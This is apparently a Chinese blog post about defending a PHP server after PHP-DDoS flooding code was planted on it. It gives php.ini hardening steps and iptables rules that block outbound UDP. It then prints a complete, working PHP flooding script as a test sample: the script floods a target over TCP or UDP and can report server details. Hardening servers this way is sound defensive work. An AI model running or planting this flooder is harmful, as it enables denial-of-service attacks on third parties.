前几天有台香港服务器上的DEDE用户被入侵了,植入了PHP-DDOS发包代码,影响了网络,导致同服务器用户网站都无法正常访问。这段代码是用fsockopen函数请求外部,我们可以禁止这个函数。

php.ini

搜索:disable_functions
在后面加上:fsockopen

allow_url_fopen = Off

ignore_user_abort = On

以及把

extension=php_sockets.dll
改成
;extension=php_sockets.dll

保存退出,重启 Apache。

然后利用iptables,禁本机对外发送UDP包

iptables -A INPUT -p tcp -m tcp --sport 53 --dport 1024:65535 -m state --state ESTABLISHED -j ACCEPT
iptables -A INPUT -p udp -m udp --sport 53 --dport 1024:65535 -m state --state ESTABLISHED -j ACCEPT
iptables -A OUTPUT -p tcp -m tcp --sport 1024:65535 -d 8.8.4.4 --dport 53 -m state --state NEW,ESTABLISHED -j ACCEPT
iptables -A OUTPUT -p udp -m udp --sport 1024:65535 -d 8.8.8.8 --dport 53 -m state --state NEW,ESTABLISHED -j ACCEPT
iptables -A OUTPUT -p udp -j REJECT

以上就可以防止PHP-DDOS发包了,但是可能会使一些PHP程序异常,比如DZ需要fsockopen函数发信等。但都有解决办法,可以把fsockopen函数,替换为:pfsockopen,就基本可以解决所有问题了。

一段PHPDDOS代码,完成以上操作后,可以试试能否运行成功。

<?php 
error_reporting(0);//禁用错误报告 
set_time_limit(0);//配置该页最久执行时间。  0为永久执行 
ignore_user_abort(false); //设置与客户机断开是否会终止脚本的执行。 
   
/*get参数*/
$type = $_GET['type']; //攻击方式 0为TCP 1为UDP 
$host = $_GET['host'];  //攻击目标 
$port = $_GET['port'];  //攻击端口 
$exec_time = $_GET['time'];  //持续时间 
$Sendlen = $_GET['size'];   //发送数据长度  如果为0则使用自定义数据包 
$data =  $_GET['data']; //自定义数据包 最大为1024KB 格式为URL编码 
$data = urldecode($data); //URL解码后的字符串 
$count = $_GET['count']; //限制发包次数   0为不限制然后只能通过时间控制 
/*end*/
   
if (function_exists('fsockopen')){$test="1";}else{$test="0";}//fsockopen是否能用 
   
//检测服务器信息 返回格式 [标识符]函数状态|主机名|脚本名|服务器信息|结译引擎[标识符]  
if (StrLen($host)==0 or StrLen($port)==0 or StrLen($exec_time)==0){ 
        if (StrLen($_GET['rat'])<>0){ 
            echo $_GET['rat'].$test."|".$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER
   
['SERVER_NAME'])."|".php_uname()."|".$_SERVER['SERVER_SOFTWARE'].$_GET['rat']; 
            exit; 
            } 
    echo "error"; 
    exit; 
    } 
   
$byte = 0;//记录发包次数 
$max_time = time()+$exec_time;//设置结束时间 
   
if($Sendlen!=0){ 
    for($i=0;$i<$Sendlen;$i++){$out .= "X";}//构造指定长度数据包 
}else{ 
    $out = $data;  //设置为自定义数据包 
} 
   
//死循环发送数据 
while(1){ 
    if(time() > $max_time){break;}//时间到了就跳出循环         
       
    //判断攻击方式 
    if($type==1) {     
        $fp = fsockopen("tcp://$host", $port, $errno, $errstr, 5);//打开TCP连接 
    } else {     
        $fp = fsockopen("udp://$host", $port, $errno, $errstr, 5);//打开UDP连接 
    } 
        if($fp){            //如果连接成功 
            fwrite($fp, $out);  //发送数据 
            fclose($fp);  //关闭连接 
    } 
       
    $byte++;//发包次数加1 
       
    if((int)$count!=0){ 
        if($byte > (int)$count){break;}//发包次数大于设置的就跳出循环 
    }    
} 
?>

标签: Linux系统安全

已有 2 条评论

  1. 突然想知道怎么发包的。

添加新评论